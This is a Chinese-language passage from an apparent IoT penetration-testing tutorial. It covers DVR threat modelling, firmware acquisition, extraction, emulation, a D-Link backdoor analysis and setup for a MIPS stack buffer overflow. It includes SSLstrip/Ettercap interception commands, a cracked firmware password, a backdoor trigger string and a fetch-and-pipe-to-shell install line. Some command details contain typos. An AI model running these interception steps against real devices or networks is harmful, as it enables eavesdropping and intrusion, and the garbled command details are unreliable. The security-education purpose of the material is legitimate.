攻击者可以利用移动应用程序执行以下操作:

  • 窃听 API 调用

  • 访问移动设备上的本地资源

  • 暴露敏感用户详细信息

  • 在移动设备上以明文查找所有用户的敏感信息

  • 通过 SQL(ite)注入转储数据库内容

  • 通过 WebView JavaScript 接口执行任意脚本

  • 访问其他用户帐户

  • 跟踪供应商云环境中的用户

  • 暴露存储在设备上的摄像头回放

  • 删除摄像头回放

  • 更改用户信息

  • 添加用户以共享摄像头而无需授权

  • 创建不会过期的长期会话以持久访问

  • 拍摄屏幕截图并发送给第三方

步骤 3:记录威胁

接下来,我们将选择与以前的配方类似的威胁案例,并对其进行评分。

威胁#1

威胁描述 攻击者可能访问移动设备上的本地资源
威胁目标 移动应用程序。
攻击技术 攻击者发现 API 通信中的漏洞,从而使 WebView 暴露给 JavaScript 桥接以访问本地对象。攻击者利用 SQL 注入在移动设备上本地执行 SQLite 调用,以附加数据库并创建具有访问本地资源权限的文件。
对策 应用程序在 WebView 中禁用 JavaScript 或白名单接受脚本。应用程序验证用户输入并禁止执行动态查询。

威胁 #2

威胁描述 攻击者可能在移动设备上以明文形式找到所有用户的敏感信息
威胁目标 移动应用。
攻击技术 攻击者在运行时监视文件存储,并发现从供应商云同步到移动设备的数据,暴露了敏感信息。
对策 只应存储设备上所需的数据。

威胁 #3

威胁描述 攻击者可能未经授权添加用户共享摄像头
威胁目标 移动应用。
攻击技术 攻击者创建 CSRF 请求发送给受害者,自动添加用户进行共享。
对策 使用反 CSRF 令牌。

步骤 4:评估威胁

使用以下表格,我们将选择一个威胁并找出其风险评分:

威胁风险评估:攻击者可能访问移动设备上的本地资源
项目
损害潜力
可重现性
可利用性
受影响用户
可发现性
风险评分:中等

在移动领域,常见的威胁涉及数据及其存储和传输方式。因此,除非利用影响了大量用户或许多用户的数据被暴露,否则移动漏洞的风险相对较低。在应用程序测试期间,移动漏洞很少会导致服务器或移动设备上的 shell。

威胁建模物联网设备硬件

现在是时候分析我们目标 DVR 的硬件威胁了。大多数消费级 DVR 都很容易打开和拆解,以检查它们的各种输入以及外围设备。这是因为需要扩展存储空间,或者仅仅是因为它们不像生产硬件安全模块(HSM)那样设计成重型设备,后者具有防篡改保护措施。

如何做到...

在这个练习中,我们使用draw.io图表来帮助我们展示硬件输入。

步骤 1:创建架构概述和分解

以下是 DVR 硬件的示意图:

根据图像描述,DVR 上有八个用于摄像头的 BNC 连接器,两个 USB 端口,一个以太网端口,一个电源端口,一个 VGA 和一个面向 DVR 外部的 HDMI 端口。DVR 内部有各种芯片,其中一个是 EEPROM,可能在 PCB 板上有 UART 的输入。

步骤 2:识别威胁

攻击者可以利用 DVR 硬件输入来执行以下操作:

  • 通过 UART 访问控制台

  • 在 EEPROM 中转储秘钥

  • 利用 USB 堆栈中的漏洞到 DVR

  • 连接恶意 USB 设备导致损坏

  • 短接 DVR 电源输入

  • 使 DVR 引导加载程序进入控制台访问

  • 通过 USB 安装恶意软件

步骤 3:记录威胁

接下来,我们将挑选类似于之前的案例,并记录它们以评估各自的风险:

威胁 #1

威胁描述 攻击者可能通过 UART 访问控制台
威胁目标 UART。
攻击技术 攻击设备的 PCB 板上的 UART 标头。
对策 UART 访问受密码保护。UART 访问被另一芯片阻止。

威胁 #2

威胁描述 攻击者可能在 EEPROM 中转储秘钥
威胁目标 EEPROM。
攻击技术 攻击者在 EEPROM 顶部附加 SOIC 夹子以读取其内容。
对策 防止在 EEPROM 中存储敏感数据。

威胁 #3

威胁描述 攻击者可能会使 DVR 引导加载程序进入控制台访问
威胁目标 EEPROM。
攻击技术 攻击者中断引导加载程序的时间以访问控制台。
对策 实施故障保护或篡改保护。

步骤 4:评估威胁

使用以下表格,我们将选择一个威胁并找出其风险评级:

威胁风险评级:攻击者可能通过 UART 访问控制台
项目
损害潜力
可重现性
可利用性
受影响的用户
可发现性
风险评级分数:高

物联网无线电通信威胁建模

转向无线/无线通信,我们的 DVR 在无线通信方面并没有太多的活动,除了从客户端应用程序或摄像头传输到 DVR 的数据。大多数物联网设备和环境在不同频率上使用不同协议进行广播。幸运的是,我们只需要担心 Wi-Fi 和蜂窝供应商进入 DVR 的入口。

如何做…

对于我们的无线电通信威胁建模练习,我们可以简单地更新先前绘制的图表,以反映设备和应用程序内发生的无线电通信。

步骤 1:创建架构概述和分解

DVR 系统内无线通信使用的架构概述示例如下:

正如您可能已经注意到的那样,无线通信仅限于用户通过客户端设备(如浏览器和应用程序)访问 DVR 以及可选的无线 IP 摄像头。还要注意的是,我们的图表已经迭代,因为通过先前的威胁模型已经获得了有关 DVR 的更多信息。

步骤 2:识别威胁

攻击者可以利用无线通信来做以下事情:

  • 从长距离访问 DVR 网络

  • 窃听 DVR 无线通信

  • 干扰 DVR 通信

  • 从 DVR 中移除 IP 摄像头

  • 建立一个虚假接入点来连接摄像头

  • 窃听手机通信

  • 全球移动通信系统GSM)建立一个虚假基站

  • 伪造客户端应用程序请求

  • 添加虚假 IP 摄像头

  • 通过恶意客户端应用程序访问 DVR 系统

步骤 3:记录威胁

接下来,我们将挑选类似于我们在以前的案例中所做的威胁,并记录它们以评估其各自的风险:

威胁#1

威胁描述 攻击者可能从长距离访问 DVR 网络
威胁目标 无线。
攻击技术 攻击者利用中间人技术或窃取无线客户端的用户会话,从任何给定的客户端应用程序中利用无线通信。
对策 应实施授权设备并列入白名单。

威胁#2

威胁描述 攻击者可能干扰 DVR 通信
威胁目标 无线。
攻击技术 攻击者识别从 IP 摄像头或客户端设备传输到 DVR 的流量,以便以 DVR 无法消耗的速率重放流量。
对策 应实施防干扰保护或在给定阈值内阻止恶意 IP 地址。

威胁#3

威胁描述 攻击者可能添加虚假 IP 摄像头
威胁目标 无线。
攻击技术 攻击者模拟一个包含恶意固件的 IP 摄像头添加到网络中。
对策 应实施来自 DVR 的客户端验证。

步骤 4:评估威胁

使用以下表格,我们将选择一个威胁并找出其风险评级:

威胁风险评级:攻击者可能从长距离访问 DVR 网络
项目
损害潜力
可重现性
可利用性
受影响的用户
可发现性
风险评级分数:高

DVR 环境中的无线威胁可以使用常见的无线中间人技术,相当简单。其他威胁,如添加假 IP 摄像头,可能会更加困难,对于寻求更大影响的攻击者来说可能不值得。

第三章:分析和利用固件

在本章中,我们将涵盖以下内容:

  • 定义固件分析方法

  • 获取固件

  • 分析固件

  • 分析文件系统内容

  • 模拟固件进行动态分析

  • 开始使用 ARM 和 MIPS

  • 利用 MIPS

介绍

到目前为止,我们已经介绍了物联网生态系统的基础知识,并通过威胁建模识别了其相应的风险,以帮助我们的测试。一些漏洞和威胁可能更容易通过对正在使用的技术进行侦察来识别。在本章中,我们将把精力完全集中在逆向工程固件上,以分析其内容以在运行时进行操纵。我们将讨论如何分解固件,如何分析固件内容,其架构,使用常见固件工具,以及如何修改固件以进行恶意用途。与其他软件逆向工程方法一样,分析固件绝对是一门艺术。您将了解到一些工具将帮助我们寻找常见的缺陷;然而,分析固件二进制镜像的安全性在很大程度上是一个手动过程。

在开始分析固件之前,重要的是讨论获取固件的一般方法以及哪些数据对我们来说是重要的。这一步可能已经在之前对固件进行轻量级威胁建模的过程中完成,但让我们从讨论固件分析的目标开始。

定义固件分析方法

固件是控制物联网设备的中心,这就是为什么我们可能希望在分析设备的其他部件之前先分析其内容。根据您的物联网设备所制造的行业,获取固件镜像并分解其内容可能是微不足道的。同样,一些行业领域需要特定的保障措施,这可能会使逆向工程变得更加困难和/或耗时。然而,在分析固件时,我们将寻找一些常见的模式。通常,评估者的最常见目标是定位以下内容:

  • 密码

  • API 令牌

  • API 端点(URL)

  • 易受攻击的服务

  • 后门账户

  • 配置文件

  • 源代码

  • 私钥

  • 数据存储方式

在接下来的内容中,我们在分析固件时将有相同的目标。本篇将向您展示固件分析和逆向工程的概述方法。

以下是分析物联网固件的基本方法论列表:

  1. 获取固件

  2. 分析固件

  3. 提取文件系统

  4. 挂载文件系统

  5. 分析文件系统内容

  6. 模拟固件进行动态分析

获取固件

为了开始审查固件内容,我们首先必须获取固件二进制文件。本节将介绍获取给定目标的固件的各种技术。

准备工作

要获取固件,我们需要安装一些工具。我们将使用 Kali Linux,默认情况下已安装了大部分我们需要的工具。以下是您需要的工具:

apt-get install flashrom  

另外,可以通过www.flashrom.org/Downloads下载 flashrom。

如何做...

有几种方法可以从物联网设备获取固件。我们将在本教程中介绍大多数方法。固件图像可以通过以下方法获取:

  • 从供应商的网站下载

  • 在设备更新期间代理或镜像流量

  • 直接从设备中转储固件

  • 谷歌/研究

  • 反编译相关移动应用程序

从供应商的网站下载

获取固件的最简单方法是通过供应商的网站。

以下截图演示了如何从供应商网站获取固件图像:

  1. 导航到目标供应商的网站。

  2. 在搜索栏中输入目标设备:

  1. 选择“支持”选项卡:

  1. 选择“驱动程序和工具”按钮:

  1. 单击下载链接:

  1. 或者,您可以选择复制链接地址,通过wget在测试机器上下载文件(wget <http://URL.com>):

在设备更新期间代理或镜像流量

有时,通过供应商的网站获取固件可能不是一个选择,您将不得不执行步骤 2,在设备更新期间代理流量,或步骤 3,直接从设备中转储固件。为了在设备更新期间代理流量,您必须是中间人MITM)或在更新功能期间镜像设备流量。另外,也可以代理 Web 或移动应用程序,以便获取固件下载的 URL。

您可能还需要调整用户代理标头,因为供应商已知会验证固件下载的这个值。以下是在 Kali Linux、Ettercap、Wireshark 和 SSLstrip 上执行设备 MITM 的基本步骤:

有几种方法和工具可以用于 MITM 流量到目标设备和从目标设备。下面的示例只是一种捕获设备流量的方法。

  1. 启用 IP 转发:
echo 1 > /proc/sys/net/ipv4/ip_forward

  1. 配置iptables将目标端口80的流量重定向到 SSLstrip 监听的端口1000
iptables -t nat -p tcp -A PREROUTING --dport 80 -j REDIRECT --to-port 10000

  1. 启动 SSLstrip:
ssltrip -a

  1. 启动 Ettercap GUI:
ettercap -G

  1. 以下图显示了我们当前的步骤:

  1. 单击“嗅探”菜单和“统一嗅探...”选项:

  1. 选择接口:

  1. 选择扫描主机:

  1. 打开 Wireshark 查看流量:

  1. 通过单击“开始捕获数据包”来从目标设备捕获流量:

  1. 根据需要过滤流量;在本例中,192.168.1.137是目标设备:

直接从设备中转储固件

如果我们无法通过供应商网站或代理其流量获取固件,我们可以开始通过 UART、SPI 或 JTAG 转储设备固件。直接转储固件需要访问设备并拆卸设备以找到其闪存存储器。一旦找到闪存存储芯片,您可以直接连接您的 UART 引脚,或者使用 8 引脚 SOIC 芯片夹通过 flashrom 和 SPI 启用的硬件板(如 Shikra)转储固件。以下是 SOIC 夹和 Shikra 如何连接到设备的方法:

图片来源:www.xipiter.com/uploads/2/4/4/8/24485815/9936671_orig.jpg?562

用于将固件内容转储到 bin 文件的命令如下:

$ flashrom -p ft2232_spi:type=232H -r spidump.bin 

如果我们使用 flashrom 或之前描述的任何方法获取了设备的固件,现在我们需要分析固件二进制文件。

谷歌搜索

如果由于某种原因我们无法通过之前列出的方法获取固件映像,我们的最后选择是求助于谷歌。如果我们想依赖他人的工作或检查我们的设备是否被研究过,这可能不是我们的最后选择。还有可能是当前或前员工可能已经将固件文件上传到他们的个人存储库或 Web 服务器。无论如何,我们可以使用谷歌搜索技术来缩小我们对给定目标设备的搜索范围。我们还可以利用谷歌黑客数据库来搜索固件或设备,网址为www.exploit-db.com/google-hacking-database

工作原理...

在这个教程中,我们通过从供应商的网站获取固件映像以及设置 MITM 测试平台来捕获设备流量,直接从设备中转储固件以及作为最后手段进行谷歌搜索。在这里,我将解释为什么我们要通过这些方法获取固件。

当从供应商那里下载固件文件时,您通常可以通过他们的支持网站、文件共享或社区论坛找到所需的内容。有时供应商会要求输入密码才能下载文件,或者将固件密码保护在 ZIP 文件中。如果是这种情况,出于时间考虑,我们很可能会直接跳过获取固件的下一步。

接下来,我们将介绍如何使用 Kali Linux、SSLstrip、Ettercap 和 Wireshark 设置 MITM 测试平台,以捕获设备更新期间的设备流量。

分析固件

一旦我们拥有了固件,现在的主要步骤是分析固件。这涉及查看固件内部并尝试识别尽可能多的安全问题,这就是我们将在本节中进行的工作。

准备工作

在这一部分,我们将了解一旦获得固件二进制包,如何分析固件。我们可以使用几种不同的技术来查看固件并识别其中的安全问题,我们将在本节中介绍如何入门并识别一些常见的安全问题。

如前所述,固件对于渗透测试人员来说包含许多有趣的东西,包括 API 密钥、私人证书、硬编码凭据、后门等。

操作步骤...

为了分析固件,我们必须对其进行逆向工程,以查看其内部组件。固件的内部组件涉及引导加载程序、内核、文件系统和其他资源等内容。在这些内容中,我们最感兴趣的是文件系统,因为这将为我们保存所有的秘密。显然,你可以玩弄引导加载程序并查看它所保存的内容,或者修改它并创建新的固件(我们将在接下来的部分讨论),但在这个时候,我们只关心如何对固件进行逆向工程并从中提取文件系统。

固件,正如我们所知,是一个二进制文件包,文件系统只是可以存储在二进制文件中特定偏移量处并具有特定大小的组件之一。但是,此时我们尚不知道固件内部文件系统的任何信息,包括偏移量和大小。要找出这些信息,我们需要使用诸如hexdumpgrep之类的工具来查找我们正在寻找的各种内容的签名。以下是 Squashfs 文件系统的示例:

  1. 如果我们想要查找 Squashfs 文件系统,我们可以在逆序中使用hexdump输出来grep shsq(这是任何 Squashfs 文件系统的魔术字节)如下所示:

  1. 如您所见,我们能够确定 Squashfs 文件系统从地址0x000e20c0开始。一旦我们获得了这些信息,我们就可以使用dd实用程序从此位置开始转储内容直到结束,如下所示:

  1. 一旦我们从固件二进制文件中切割出 Squashfs 内容,我们就可以简单地运行诸如unsquashfs之类的实用程序来查看整个文件系统。

让我们继续运行unsquashfs,看看我们是否可以查看整个文件系统:

  1. 从上面的屏幕截图中可以看出,我们能够提取 Squashfs 文件系统映像。请忽略上图中的警告和错误,因为它只是在抱怨我们没有以 root 用户身份运行命令。一旦我们提取了它,我们就可以转到各个目录并查看各个文件,以识别漏洞。以下是整个文件系统的屏幕截图:

这就是我们如何反向工程固件并从固件二进制映像中提取文件系统。我们还可以使用 Binwalk 等工具自动执行前面提到的所有步骤。由Craig Heffner编写,它允许我们仅使用一个命令从固件二进制映像中提取文件系统。

  1. 要安装 Binwalk,只需克隆位于github.com/devttys0/binwalk.git的 Binwalk 的 GitHub 存储库,如下所示:
git clone https://github.com/devttys0/binwalk.git

  1. 运行./deps.sh以安装所有必需的依赖项和二进制文件。

  2. 安装 Binwalk 成功后,您可以通过简单输入binwalk并按Enter来确认。这应该显示 Binwalk 的帮助菜单:

  1. 让我们继续使用 Binwalk 从相同的固件中执行文件系统提取。为此,我们将使用-e标志进行提取:
binwalk -e [firmware-name]

  1. 这将向我们展示固件中存在的各个部分,并为我们提取内容:

  1. tvv标志只是允许我们以更易读和详细的格式打印输出。Binwalk 执行后,我们可以转到名为_[firmwarename].extracted的目录,其中将保存整个文件系统,如下面的屏幕截图所示:

这就是我们如何从固件二进制文件中手动和自动提取文件系统。

工作原理...

在这种情况下,文件系统提取使用了我们之前执行的相同方法。它使用魔术字节和头部签名字符(例如 Squashfs 的sqsh等)来检测文件系统和其他组件的偏移量。Binwalk 检测到的文件系统数量可以在此 URL 找到:github.com/devttys0/binwalk/blob/62e9caa164305a18d7d1f037ab27d14ac933d3cf/src/binwalk/magic/filesystems

您还可以手动向 Binwalk 实例添加更多签名并编译它以检测这些额外的文件系统。

还有更多...

您还可以使用 Binwalk 执行许多其他操作,例如检测给定固件映像的熵。这可以帮助您确定固件映像是否被压缩或加密。为了执行熵分析,请像下面的截图中所示,使用带有-E标志的binwalk,后跟固件名称:

正如您在前面的截图中所看到的,这个特定的固件似乎没有加密,因为在加密固件映像中会找到的大量变化缺失。

另请参阅

  • 有关固件分析和逆向工程的其他信息,Binwalk 的作者Craig Heffner的博客非常有用。它还将帮助您了解不同的固件映像是如何变化和易受攻击的。该博客位于www.devttys0.com/

分析文件系统内容

现在我们知道如何对固件进行逆向工程并从中提取文件系统,本节中我们将查看文件系统内容,并对其进行额外的漏洞分析。这将帮助我们更深入地了解如何在固件映像中找到安全问题,借此我们将能够破坏物联网设备。

准备工作

有两种分析文件系统内容的方法:

  • 手动分析。

  • 自动化工具和脚本。

手动分析

在固件文件系统内容中寻找漏洞的方法中,我们对文件系统中存在的各种文件和文件夹进行分析。这可能涉及查看配置文件、web 目录、密码文件、寻找后门等。这是发现给定固件中漏洞的理想方式,也是我们本节的重点。

自动化工具和脚本

在撰写本书的日期之前,除了一些脚本外,没有一个完整的套件框架或工具可以帮助我们发现固件中的漏洞。因此,如果您熟悉 Web 应用程序安全或网络安全,就没有类似于 Arachni、w3af、Metasploit 或类似工具。

如何操作...

让我们开始分析固件,看看我们是否能够识别出任何敏感信息或后门。

我们将用于此练习的固件是版本为DWR-932_fw_revB_2_02_eu_en_20150709的 D-Link DWR 932B。这些漏洞是由安全研究人员Gianni CarabelliPierre Kim发现的:

  1. 第一步是从固件中提取文件系统。但是,在这种情况下,固件是一个受密码保护的 ZIP 文件。这种情况下,可以使用 fcrackzip 等实用程序来破解密码,密码被发现是 UT9Z。这也显示在下面的截图中:

  1. 一旦我们有了固件映像,我们可以使用 Binwalk 来提取固件 ZIP 文件中存在的 yaffs2 文件系统。您可以使用 yaffs2 特定工具来解压文件系统,或者简单地使用 Binwalk 也可以完成任务。

  2. yaffs2-root文件夹中,我们将看到整个文件系统,如下面的截图所示:

  1. 从这里开始,我们可以开始浏览各个目录,并查看从安全角度看起来有趣的文件。我们可以首先运行一个find查询,查找所有.conf文件,如下面的截图所示:

  1. 例如,这是wpa-supplicant.conf文件中的内容:

  1. 让我们看看其他文件,比如inadyn-mt.conf

令人惊讶的是,这个文件包含了高度敏感的信息,根本不应该被访问。正如我们从前面的屏幕截图中所看到的,这个文件存储了路由器的 no-IP 配置,包括用于www.no-ip.com访问的用户名和密码组合。

这就是我们如何在固件中找到隐藏的敏感信息。您显然可以继续寻找更多,并在固件文件系统中识别更多敏感信息。

现在我们知道如何对固件进行手动分析后,我们将继续通过自动化方法来识别漏洞。为此,我们将使用一个名为 Firmwalker 的工具,这个工具是由Craig Smith编写的,它通过静态分析帮助识别固件中一些常见的敏感信息。

  1. 要设置它,我们只需要克隆 Firmwalker 的 GitHub 存储库,如下所示:
git clone https://github.com/craigz28/firmwalker.git
  1. 一旦我们克隆了 Firmwalker 的 GitHub 存储库,我们只需要运行./firmwalker.sh脚本,然后跟随提取的文件系统位置,如下所示:
./firmwalker.sh ~/lab/firmware/dlink/r2/v2/_2K-mdm-image-mdm9625.yaffs2.extracted/yaffs-root

  1. Firmwalker 脚本为我们识别了许多不同的内容,包括额外的二进制文件、证书、IP 地址、私钥等。它还将输出存储在一个名为firmwalker.txt的文件中(除非用户指定了不同的文件),其外观如下所示:

一旦我们有了 Firmwalker 生成的报告,我们可以逐个查看所有不同的文件并进一步分析它们。在某些情况下,您还需要对 ARM 和 MIPS 架构的二进制文件进行逆向工程,以更好地理解它们并识别漏洞。

它是如何工作的...

分析和理解文件系统及其内部内容完全取决于您的手动评估技能。这就是您能够识别漏洞的方法。即使在使用各种工具时,您也会意识到,最终归根结底是手动分析二进制文件或文件,并找出其中的漏洞。

还有更多...

要更深入地分析固件文件系统内容,您还可以使用固件差异技术,通过它您可以比较一个固件与其先前版本,并查看其中的差异。这将使您能够了解新版本中进行的安全修复和修改,并识别以前版本中甚至未公开的安全问题。

我们还可以对固件文件系统内容进行的另一项操作是查看已使用的各种库和组件,看看这些组件是否是带有漏洞的过时版本。

另请参阅

  • 要分析固件文件系统内容,还可以阅读更多关于二进制分析和逆向工程的内容。熟悉 Linux 二进制分析、调试和在 ARM 和 MIPS 等平台上的反汇编。

用于动态分析的固件模拟

在使用物联网设备时,其中一个限制是我们无法在没有实际设备访问权限的情况下进行大量测试和利用。然而,在本节中,我们将讨论一种方法,您可以模拟您的固件,并与模拟设备进行交互,就像它是实际放置在您的网络上的设备一样。

准备就绪

为了模拟固件,我们将使用一种名为固件分析工具包FAT)的脚本,这个脚本是由本书的作者编写的。FAT 使用 Firmadyne 来执行固件映像的模拟。

Firmadyne 使用的基础实用程序是 QEMU,它允许用户模拟整个系统架构并在其上运行内容。它还利用了工具作者编写的其他脚本,例如位于github.com/firmadyne/libnvram的 NVRAM 模拟器。它还使用我们之前讨论过的 Binwalk 等工具,从固件中提取文件系统,然后进行模拟。

让我们继续克隆 FAT GitHub 存储库并设置它,使实验室准备好进行模拟。强烈建议在基于 Ubuntu 的系统上执行此操作,以避免在模拟过程中出现任何问题。

如何做...

以下是步骤:

  1. 我们将通过以下链接github.com/attify/firmware-analysis-toolkit/开始克隆 FAT 存储库的设置:
git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit && sudo ./setup.sh

这也将设置 Firmadyne 用于存储有关固件的信息和将来管理的数据库。数据库的密码将设置为firmadyne

一旦您设置好了一切,就该是我们选择固件并模拟它,看看我们能够用模拟的固件执行什么了。

对于这个练习,我们将使用 D-Link 为其无线 PoE 接入点提供的固件 DWP2360b。

  1. 我们需要做的第一件事是运行./fat.py,然后它会要求您输入固件名称和固件镜像的品牌。这个固件品牌镜像纯粹是为了数据库目的,这样我们以后如果需要的话就可以在数据库中查看我们模拟了哪个品牌的固件。运行后,它将显示如下截图所示:

  1. 它会几次要求您输入数据库密码,我们已将其设置为firmadyne。一旦完成初始处理,创建图像,设置网络并获取 IP 地址,它将显示 FAT 向您显示 IP 地址并提到固件现在已经被模拟,如下截图所示:

  1. 一旦我们有了 IP 地址,我们可以简单地在浏览器中打开它,我们将看到路由器登录页面,如下截图所示:

这就是我们如何在没有访问设备的情况下使用 FAT 来模拟固件。

工作原理...

前面的模拟是基于 QEMU 和 NVRAM 模拟器的。NVRAM 是固件访问以获取设备信息的组件。然而,由于没有物理设备存在,这将导致错误或服务崩溃。这就是 NVRAM 模拟器发挥作用的地方。Firmadyne 工具包还修改固件以进行调试,以便用户访问控制台。

以下是 FAT 脚本中正在发生的事情:

  1. 从固件中提取文件系统。

  2. 获取固件的架构。

  3. 制作所需的镜像。

  4. 设置网络。

  5. 模拟镜像。

所有这些步骤都可以手动执行,但是拥有像 FAT 这样的脚本可以加快速度。

还有更多...

进行模拟的另一种方法是手动下载适当架构的 Debian 镜像,并将文件从固件复制到新创建的 Debian 实例中,然后使用 Chroot 运行 Web 服务器(或正在测试的组件)。您可以从people.debian.org/~aurel32/qemu/下载现有的 Debian 镜像。

开始使用 ARM 和 MIPS

现在我们知道如何模拟固件并进行基本分析,您经常会发现自己遇到需要进行额外分析的各种二进制文件。在一本书中不可能涵盖嵌入式设备可能的所有不同架构,我们将专注于两种流行的架构-ARM 和 MIPS。

然而,我们只会研究 MIPS 的利用,并稍微了解 ARM 的逆向工程。从利用的角度来看,ARM 和 MIPS 非常相似,学习一种架构将为您提供另一种架构的基础知识和基本理解。

准备工作

我们将从对 D-Link 固件中发现的后门进行非常基本的分析开始我们的二进制分析之旅。这个后门是由Pierre Kim发现的。要识别这个后门,需要对基于 ARM 的二进制文件有一个基本的逆向工程概念。尽管我们不会深入讨论寄存器和体系结构(因为我们将在 MIPS 体系结构中进行讨论),但这一部分将帮助您了解分析二进制文件并识别低悬漏洞的过程。

在这种情况下,我们将使用 D-Link DWR 932B 设备的固件。一旦我们使用 Binwalk 提取了这个固件,我们注意到有一个名为 appmgr 的二进制文件,这就是我们感兴趣的内容。

我们可以使用您熟悉的任何反汇编器 - Radare2、IDA、Hopper 等。在这种情况下,我们将使用 Hopper 来反向工程 appmgr 二进制文件,这是一个 ARM Little Endian 二进制文件。

如何做...

我们将使用 Hopper 的伪代码生成功能来更好地理解它。以下是步骤:

  1. 让我们加载二进制文件到 Hopper 进行分析:

  1. 一旦我们加载了二进制文件,我们就可以搜索telnet字符串,然后就能在代码示例中的某个地方看到telnet的提及:

在字符串中查找 telnet 实例

  1. 为了找出它是从哪里调用的,我们可以右键单击字符串,然后选择引用地址,这将显示调用它的位置和指令。在这种情况下,如果我们引用地址,我们发现它是从0x13048调用的,如下面的截图所示:

  1. 双击地址将带我们到所提到的地址,这种情况下是0x13048。一旦我们到达地址,我们可以看到整个反汇编,以及通过点击“伪代码模式”按钮生成伪代码。这也显示在下面的截图中:

从反汇编中访问伪代码

  1. 伪代码功能对我们非常有用,因为它让我们将反汇编视为一个逻辑程序,这样对我们来说更有意义,如果我们对反汇编不是非常熟悉的话。在这种情况下,伪代码的内容如下:

正如我们从前面的截图中所看到的,它对字符串HELODBG进行了strncmp。您可能已经知道,strncmp用于字符串比较,在这种情况下是检查二进制文件所需的字符串,以启动 Telnet,这一点从高亮的框中可以看出。

因此,我们可以自信地说,appmgr 后门寻找字符串HELODBG,一旦接收到该字符串,就会启动带有bin/sh shell 的 Telnet。

这就是我们对 ARM 二进制文件进行非常基本分析的方式,可以用来查找敏感信息或漏洞,以及后门。

还有更多...

现在您知道如何对 ARM 二进制文件进行基本分析,我们还建议您阅读更多关于 ARM 汇编和其体系结构的内容。对汇编指令和底层体系结构的知识和理解将帮助您更好地理解反汇编,即使在伪代码无法帮助的情况下也是如此。

利用 MIPS

现在我们已经对如何反向工程二进制文件有了基本的了解,是时候深入了解利用和理解大多数 IoT 设备所基于的平台的体系结构了。为了获得基本的理解,我们现在只关注 MIPS,但强烈建议您使用相同的概念并在基于 ARM 的体系结构上进行利用。

准备工作

进行 MIPS 利用,我们主要会使用 QEMU 和 chroot 技术,这是我们在本章前面简要介绍过的。我们将研究如何在 MIPS 二进制文件上执行缓冲区溢出利用,并改变程序执行流程,使其执行我们想要的操作,而不是二进制文件原本应该执行的操作。目前我们不会涉及返回导向编程ROP)等概念,保持简单。

如何做...

对于这个练习,我们将需要并使用以下工具和实用程序:

  • 可恶的易受攻击路由器固件DVRF)-可从 GitHub URL 下载

  • GDB-Multiarch

  • GDB 增强功能GEF

  • QEMU

  • chroot

  • IDA Pro/Radare2(可选)

让我们逐个了解它们,并看看如何设置它们。让我们从以下 URL 下载 DVRF 固件:github.com/praetorian-inc/DVRF/tree/master/Firmware

DVRF 是由b1ack0wl编写的固件,适用于基于 MIPS 的平台。尽管该固件是为 Linksys E1550 设计的,但可以在使用 QEMU 的模拟环境中运行,也包括执行利用:

  1. 现在我们有了固件,让我们继续安装 GDB(GNU 调试器)和 GEF,以便在利用过程中进行调试:
sudo apt install gdb-multiarch 
# Installing GEF 
sudo pip3 install capstone unicorn keystone-engine
wget -q -O- https://github.com/hugsy/gef/raw/master/gef.sh | sh  

还要确保您的系统上安装了所需的 QEMU 软件包。现在我们已经准备就绪,让我们继续使用二进制仿真来运行其中一个二进制文件,利用 QEMU 的功能。

  1. 为此,我们需要首先使用 Binwalk 从固件中提取文件系统,如下截图所示:

  1. 一旦我们提取了文件系统,我们可以将相应架构的 QEMU 二进制文件复制到我们的根文件夹中,本例中是squashfs-root,如下所示。但在这之前,让我们确认一下我们的目标二进制文件是否是针对 MIPS 架构的二进制文件:
>> readelf -h pwnable/Intro/stack_bof_01
ELF Header:
Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class:                             ELF32
Data:                              2's complement, little endian
Version:                           1 (current)
OS/ABI:                            UNIX - System V
ABI Version:                       0
Type:                              EXEC (Executable file)
Machine:                           MIPS R3000
Version:                           0x1
Entry point address:               0x400630
Start of program headers:          52 (bytes into file)
Start of section headers:          3900 (bytes into file)
Flags:                             0x50001007, noreorder, pic,       
cpic, o32, mips32
Size of this header:               52 (bytes)
Size of program headers:           32 (bytes)
Number of program headers:         6
Size of section headers:           40 (bytes)
Number of section headers:         29
Section header string table index: 26
  1. 如前面的截图所示,我们的二进制文件是针对 MIPS 架构的小端格式。

  1. 现在让我们继续将 MIPS 小端(mipsel)的 QEMU 二进制文件复制到我们当前的 squashfs-root 文件夹中:
cp $(which qemu-mipsel-static) .

  1. 一旦我们将qemu-mipsel-static复制到当前目录,我们就可以使用更改根(chroot)实用程序以及 QEMU 来仿真并运行二进制文件,同时让二进制文件相信它的根文件夹是我们运行命令的当前文件夹。可以使用以下命令实现:
Sudo chroot . ./qemu-mipsel-static pwnable/Intro/stack_bof1  
  1. 如下截图所示,我们能够运行这个二进制文件,尽管它最初是为另一种架构设计的。这是通过 QEMU 的仿真功能和chroot的更改根功能实现的。

  1. 如我们从命令的输出中所见(如前面的截图所示),这个二进制文件需要参数才能运行。此外,如果我们查看二进制文件的源代码,我们会发现这个二进制文件容易受到基于堆栈的缓冲区溢出漏洞的影响。以下是stack_bof1二进制文件的源代码:

如前面的截图所示,buf缓冲区容易受到缓冲区溢出的影响,我们的溢出目标是修改程序流程,使其指向dat_shell的地址,以便从中利用此漏洞获得 shell。

  1. 让我们通过使用 QEMU 和 chroot 以及附加的-g标志来调试这个程序,这将使 GDB 连接到进程,如下所示:
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof1
  1. 如您从以下截图中所见,程序执行已暂停,现在正在等待调试器连接:

  1. 现在执行已经暂停,我们可以启动 GDB 并设置目标为远程以及我们刚刚分配的端口。此外,我们将不得不将架构设置为 MIPS,以便在需要时能够正确地反汇编二进制文件:

  1. 一旦连接了目标,您会发现进程已暂停,可以通过输入c来恢复。

  2. 我们还可以通过执行info functions来查看二进制文件中可用函数的列表,并从我们的渗透测试角度确定哪些函数可能是有趣的:

  1. 让我们继续反汇编main函数并看看它的样子。为此,我们可以简单地执行disass main

  2. 正如我们从下面的屏幕截图中看到的,我们能够看到main函数的反汇编:

如果您熟悉一些指令,您会发现这些指令很有用。反汇编以地址、指令和操作数的格式呈现。

